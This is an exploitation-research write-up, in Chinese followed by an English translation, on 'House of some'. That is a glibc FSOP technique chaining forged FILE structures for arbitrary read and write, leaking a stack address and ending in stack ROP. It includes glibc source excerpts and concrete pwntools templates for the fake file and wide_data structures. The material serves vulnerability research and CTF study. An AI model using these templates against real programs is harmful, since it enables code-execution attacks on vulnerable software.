概述
House of some 是一条改进 House of apple2 的新链,也是一种攻击思路,效果十分显著,并且可以适用于未来的高版本,可以实现任意地址写,其中触发条件为
- 已知 glibc 基地址
- 可控的已知地址(可写入内容构造 fake file)
- 需要一次 libc 内任意地址写可控地址
- 程序能正常退出或者通过 exit () 退出
House of some 具有以下优点:
- 无视目前的
IO_validate_vtable检查(wide_data 的 vtable 加上检查也可以打) - 第一次任意地址写要求低
- 最后攻击提权是栈上 ROP,可以不需要栈迁移
- 源码级攻击,不依赖编译结果
自动化脚本 (将于 2024 年 2 月 1 日发布)https://github.com/CsomePro/Some-of-House
利用思路
构造任意地址写的 fake file
首先回顾一下 House of apple2 https://bbs.kanxue.com/thread-273832.htm
其中有一条链是如下进行的
_IO_wfile_overflow _IO_wdoallocbuf _IO_WDOALLOCATE *(fp->_wide_data->_wide_vtable + 0x68)(fp)如果fp->_wide_data->_wide_vtable加上了检查,那么只能选择虚表内的函数进行执行,我们能够选什么呢?
那么就需要_IO_new_file_underflow这个函数出场了
int_IO_new_file_underflow (FILE *fp){ ssize_t count;
/* C99 requires EOF to be "sticky". */ if (fp->_flags & _IO_EOF_SEEN) return EOF;
if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); }
/* FIXME This can/should be moved to genops ?? */ if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) { /* We used to flush all line-buffered stream. This really isn't required by any standard. My recollection is that traditional Unix systems did this for stdout. stderr better not be line buffered. So we do just that here explicitly. --drepper */ _IO_acquire_lock (stdout);
if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF)) _IO_OVERFLOW (stdout, EOF);
_IO_release_lock (stdout); }
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those pointers before we call _IO_SYSREAD () since we may longjump () out while waiting for input. Those pointers may be screwed up. H.J. */ fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0; } fp->_IO_read_end += count; if (count == 0) { /* If a stream is read to EOF, the calling application may switch active handles. As a result, our offset cache would no longer be valid, so unset it. */ fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr;}我们可以发现在_IO_new_file_underflow函数内会调用_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)宏其对应的常规 read 函数如下
ssize_t_IO_file_read (FILE *fp, void *buf, ssize_t size){ return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0) ? __read_nocancel (fp->_fileno, buf, size) : __read (fp->_fileno, buf, size));}最后是调用 syscall (read) 读,我们可以看到 read 的三个参数都是可控的
fd=>fp->_filenobuf=>fp->_IO_buf_basesize=>fp->_IO_buf_end - fp->_IO_buf_base
那么就可以构造一个任意地址写,那么有了任意地址写之后有啥用呢?FSOP!
我们再回到_IO_flush_all函数观察一下
int_IO_flush_all (void){ int result = 0; FILE *fp;
#ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock);#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { run_fp = fp; _IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF;
_IO_funlockfile (fp); run_fp = NULL; }
#ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0);#endif
return result;}其中的 for 循环我们可以看到对于_IO_list_all上的单向链表,通过了_chain串起来,并在_IO_flush_all中,会遍历链表上每一个 FILE,如果条件成立,就可以调用_IO_OVERFLOW(fp, EOF)
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain){ ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) ...}那么接下来就开始构造一个实现任意地址写的 fake file
由于_IO_new_file_underflow内有一个_IO_switch_to_get_mode函数其中有这个分支
if (fp->_IO_write_ptr > fp->_IO_write_base) if (_IO_OVERFLOW (fp, EOF) == EOF) return EOF;如果还是使用fp->_IO_write_ptr > fp->_IO_write_base来使得触发 OVERFLOW 就会出现无限递归,所以不可行,我们需要采取另一个分支,即
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) // 不可行 || (_IO_vtable_offset (fp) == 0 // 使用||之后的分支 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF)那么实现任意地址读的 fake file 设置如下
_flags设置为~(2 | 0x8 | 0x800),设置为0即可(与 apple2 相同)vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap地址,使得调用_IO_wfile_overflow即可(注意此处与 apple2 不同的是,此处的 vtable 不能加偏移,否则会打乱_IO_SYSREAD的调用)_wide_data->_IO_write_base设置为0,即满足*(_wide_data + 0x18) = 0(与 apple2 相同)_wide_data->_IO_write_ptr设置为大于_wide_data->_IO_write_base,即满足*(_wide_data + 0x20) > *(_wide_data + 0x18)(注意此处不同)_wide_data->_IO_buf_base设置为0,即满足*(_wide_data + 0x30) = 0(与 apple2 相同)_wide_data->_wide_vtable设置为任意一个包含_IO_new_file_underflow,其中原生的 vtable 就有,设置成_IO_file_jumps-0x48即可_vtable_offset设置为0_IO_buf_base与_IO_buf_end设置为你需要写入的地址范围_chain设置为你下一个触发的 fake file 地址_IO_write_ptr <= _IO_write_base即可_fileno设置为0,表示read(0, buf, size)_mode设置为2,满足fp->_mode > 0即可
一个任意地址写的 fake file 模板如下
fake_file_read = flat({ 0x00: 0, # _flags 0x20: 0, # _IO_write_base 0x28: 0, # _IO_write_ptr
0x38: 任意地址写的起始地址, # _IO_buf_base 0x40: 任意地址写的终止地址, # _IO_buf_end
0x70: 0, # _fileno 0x82: b"\x00", # _vtable_offset 0xc0: 2, # _mode 0xa0: wide_data的地址, # _wide_data 0x68: 下一个调用的fake file地址, # _chain 0xd8: _IO_wfile_jumps, # vtable}, filler=b"\x00")
fake_wide_data = flat({ 0xe0: _IO_file_jumps - 0x48, 0x18: 0, 0x20: 1, 0x30: 0,}, filler=b"\x00")构造任意地址读的 fake file
这个就很简单了,以前也有这些研究,利用_IO_write_base和_IO_write_ptr实现任意地址读,这里给出构造模板,具体原理网上有很多教程
fake_file_write = flat({ 0x00: 0x800 | 0x1000, # _flags
0x20: 需要泄露的起始地址, # _IO_write_base 0x28: 需要泄露的终止地址, # _IO_write_ptr
0x70: 1, # _fileno 0x68: 下一个调用的fake file地址, # _chain 0xd8: _IO_file_jumps, # vtable}, filler=b"\x00")FSOP!
我们已经有了任意地址读、任意地址写的 fake file 构造,那么只需要将其用_chain串起来就可以达成强大的攻击效果
那么我将 House of some 的攻击流程分成 4 步(RWRWR 过程)(这也是一个广泛的思路,拥有任意地址写就不止一个方法了)
- 第一步 任意地址写
_chain,这里可以写_IO_list_all或者 stdin、stdout、stderr 的_chain位置,在这一步需要在可控地址上布置一个任意地址写的 Fake file,之后将 Fake file 地址写入上述位置 - 第二步 扩展 fake file 链条并泄露栈地址,在第一步的中,我们只有一个 fake file,并不能完成更复杂的操作,所以这一步我们需要写入两个 fake file,一个用于泄露
environ内的值(即栈地址),另一个用于写入下一个 fake file - 第三步 泄露栈内数据,并寻找 ROP 起始地址,这一步同样需要写入两个 fake file,一个任意地址读,读取栈上内存,另一个任意地址写,向栈上写 ROP
- 第三步 写入 ROP,实现栈上 ROP 攻击!
下图是攻击的图示,黄色代表_IO_flush_all还未遍历的 FILE,黑色代表已经处理过的 FILE

简单的分析
这个链条是基于 House of apple2 基础上衍生的,为什么需要 apple2 呢?因为,在意外调用 vtable 的过程中,需要给 vtable 项加上偏移,但是_IO_SYSREAD等宏也是通过偏移索引,所以会导致偏移出错无法按照预定逻辑,那么就想到 wide data 内的 vtable,修改此处的偏移可以不影响 IO FILE 的 vtable。
这个利用链条从源码中分析得出,不依赖二进制编译结果,以及可以无视加上 wide data 内的 vtable 的检查,这就导致了非常强大的泛用性。
同时 House of some 带回了原生的 FSOP 流程(RWRWR 过程),我们重新回到了起点 ——angelboy 提出的 FSOP 原来的样子,利用 chain 把一个一个 fake file 串起来,通过多次的 fake file 调用_IO_OVERFLOW,实现二次泄露甚至多次泄露,使得我们游走在任意地址中,修改任意的地址内容!
为何选择栈上 ROP,因为这是最简单最有效最暴力的攻击方法,可以无需栈迁移,无视 canary(任意读可以泄露,甚至我能控制写入起点,可以选择 canary 后面作为起点),最后栈溢出永不过时!
Translate by Kimi-K3
Overview
House of some is a new chain that improves upon House of apple2, as well as an exploitation approach. It is highly effective and applicable to future glibc versions. It achieves arbitrary address write, and its triggering conditions are:
- Known glibc base address
- A controllable address with known location (writable, to craft a fake file)
- One arbitrary address write of a controlled address within libc
- The program can exit normally or exit via exit()
House of some has the following advantages:
- It bypasses the current
IO_validate_vtablecheck (it also works even if the wide_data vtable check is added) - The requirements for the first arbitrary address write are low
- The final privilege escalation is ROP on the stack, so no stack pivoting is needed
- It is a source-code-level attack and does not depend on the compilation result
Automation script (to be released on February 1, 2024): https://github.com/CsomePro/Some-of-House
Exploitation Approach
Crafting a fake file for arbitrary address write
First, let’s review House of apple2: https://bbs.kanxue.com/thread-273832.htm
One of its chains proceeds as follows:
_IO_wfile_overflow _IO_wdoallocbuf _IO_WDOALLOCATE *(fp->_wide_data->_wide_vtable + 0x68)(fp)If a check is added to fp->_wide_data->_wide_vtable, then we can only choose functions inside the vtable to execute. What can we choose?
That’s where the _IO_new_file_underflow function comes in.
int_IO_new_file_underflow (FILE *fp){ ssize_t count;
/* C99 requires EOF to be "sticky". */ if (fp->_flags & _IO_EOF_SEEN) return EOF;
if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); }
/* FIXME This can/should be moved to genops ?? */ if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) { /* We used to flush all line-buffered stream. This really isn't required by any standard. My recollection is that traditional Unix systems did this for stdout. stderr better not be line buffered. So we do just that here explicitly. --drepper */ _IO_acquire_lock (stdout);
if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF)) _IO_OVERFLOW (stdout, EOF);
_IO_release_lock (stdout); }
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those pointers before we call _IO_SYSREAD () since we may longjump () out while waiting for input. Those pointers may be screwed up. H.J. */ fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0; } fp->_IO_read_end += count; if (count == 0) { /* If a stream is read to EOF, the calling application may switch active handles. As a result, our offset cache would no longer be valid, so unset it. */ fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr;}We can see that inside _IO_new_file_underflow, the macro _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base) is called. Its corresponding regular read function is as follows:
ssize_t_IO_file_read (FILE *fp, void *buf, ssize_t size){ return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0) ? __read_nocancel (fp->_fileno, buf, size) : __read (fp->_fileno, buf, size));}Finally, it calls the syscall read. We can see that all three arguments of read are controllable:
fd=>fp->_filenobuf=>fp->_IO_buf_basesize=>fp->_IO_buf_end - fp->_IO_buf_base
So we can craft an arbitrary address write. And once we have an arbitrary address write, what’s it good for? FSOP!
Let’s go back to the _IO_flush_all function and take a look:
int_IO_flush_all (void){ int result = 0; FILE *fp;
#ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock);#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { run_fp = fp; _IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF;
_IO_funlockfile (fp); run_fp = NULL; }
#ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0);#endif
return result;}In the for loop, we can see that the singly linked list on _IO_list_all is linked together via _chain, and in _IO_flush_all, every FILE on the list is traversed. If the condition holds, _IO_OVERFLOW(fp, EOF) is called:
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain){ ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) ...}Now let’s start crafting a fake file that achieves an arbitrary address write.
Since _IO_new_file_underflow contains a _IO_switch_to_get_mode call which has this branch:
if (fp->_IO_write_ptr > fp->_IO_write_base) if (_IO_OVERFLOW (fp, EOF) == EOF) return EOF;If we still use fp->_IO_write_ptr > fp->_IO_write_base to trigger OVERFLOW, infinite recursion will occur, so it’s not viable. We need to take the other branch, namely:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) // not viable || (_IO_vtable_offset (fp) == 0 // use the branch after || && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF)So the fake file that achieves an arbitrary address read is set up as follows:
- Set
_flagsto~(2 | 0x8 | 0x800); setting it to0works (same as apple2) - Set
vtableto the address of_IO_wfile_jumps/_IO_wfile_jumps_mmap, so that_IO_wfile_overflowis called (note that unlike apple2, the vtable here must NOT have an offset added, otherwise it will mess up the_IO_SYSREADcall) - Set
_wide_data->_IO_write_baseto0, i.e. satisfy*(_wide_data + 0x18) = 0(same as apple2) - Set
_wide_data->_IO_write_ptrto be greater than_wide_data->_IO_write_base, i.e. satisfy*(_wide_data + 0x20) > *(_wide_data + 0x18)(note this is different) - Set
_wide_data->_IO_buf_baseto0, i.e. satisfy*(_wide_data + 0x30) = 0(same as apple2) - Set
_wide_data->_wide_vtableto any vtable containing_IO_new_file_underflow; the native vtable has it, so setting it to_IO_file_jumps - 0x48works - Set
_vtable_offsetto0 - Set
_IO_buf_baseand_IO_buf_endto the address range you want to write to - Set
_chainto the address of the next fake file to trigger _IO_write_ptr <= _IO_write_basesuffices- Set
_filenoto0, meaningread(0, buf, size) - Set
_modeto2; anything satisfyingfp->_mode > 0works
A template for an arbitrary-address-write fake file is as follows:
fake_file_read = flat({ 0x00: 0, # _flags 0x20: 0, # _IO_write_base 0x28: 0, # _IO_write_ptr
0x38: start address of the arbitrary write, # _IO_buf_base 0x40: end address of the arbitrary write, # _IO_buf_end
0x70: 0, # _fileno 0x82: b"\x00", # _vtable_offset 0xc0: 2, # _mode 0xa0: address of wide_data, # _wide_data 0x68: address of the next fake file to call, # _chain 0xd8: _IO_wfile_jumps, # vtable}, filler=b"\x00")
fake_wide_data = flat({ 0xe0: _IO_file_jumps - 0x48, 0x18: 0, 0x20: 1, 0x30: 0,}, filler=b"\x00")Crafting a fake file for arbitrary address read
This one is simple, and there has been prior research on it: use _IO_write_base and _IO_write_ptr to achieve an arbitrary address read. Here is the crafting template; there are many tutorials online explaining the underlying principle.
fake_file_write = flat({ 0x00: 0x800 | 0x1000, # _flags
0x20: start address to leak, # _IO_write_base 0x28: end address to leak, # _IO_write_ptr
0x70: 1, # _fileno 0x68: address of the next fake file to call, # _chain 0xd8: _IO_file_jumps, # vtable}, filler=b"\x00")FSOP!
We already have fake file constructions for both arbitrary address read and arbitrary address write, so we only need to chain them together with _chain to achieve a powerful attack.
I divide the House of some attack flow into 4 steps (the RWRWR process) (this is also a general approach — once you have an arbitrary address write, there is more than one method):
- Step 1: Arbitrary write to
_chain. Here you can write to_IO_list_allor the_chainfields of stdin, stdout, or stderr. In this step, place an arbitrary-address-write fake file at a controlled address, then write the fake file’s address into one of the above locations. - Step 2: Extend the fake file chain and leak a stack address. In step 1 we only have one fake file, which cannot perform more complex operations, so in this step we need to write two fake files: one to leak the value inside
environ(i.e., a stack address), and another to write the next fake file. - Step 3: Leak data on the stack and find the ROP starting address. This step also requires writing two fake files: one arbitrary-address-read file to read memory on the stack, and one arbitrary-address-write file to write the ROP chain onto the stack.
- Step 4: Write the ROP chain and achieve a ROP attack on the stack!
The diagram below illustrates the attack. Yellow represents FILEs not yet traversed by _IO_flush_all, and black represents FILEs that have already been processed.

Brief Analysis
This chain is derived from House of apple2. Why is apple2 needed? Because when calling the vtable in an unintended way, an offset needs to be added to the vtable entries, but macros such as _IO_SYSREAD are also indexed by offsets, which would cause offset errors and break the intended logic. So the idea is to use the vtable inside wide data — modifying the offset there does not affect the IO FILE’s vtable.
This exploitation chain is derived from source code analysis, does not depend on the binary’s compilation result, and can ignore the check added to the vtable inside wide data, which gives it extremely broad applicability.
At the same time, House of some brings back the original FSOP flow (the RWRWR process). We return to the starting point — the original form of FSOP proposed by angelboy: use _chain to link fake files one after another, and through multiple fake file invocations of _IO_OVERFLOW, achieve a second leak or even multiple leaks, allowing us to roam across arbitrary addresses and modify the contents of any address!
Why choose ROP on the stack? Because it is the simplest, most effective, and most brute-force attack method: no stack pivoting is needed, and the canary can be ignored (an arbitrary read can leak it, and since I can even control the write starting point, I can choose to start writing after the canary). In the end, stack overflows never go out of style!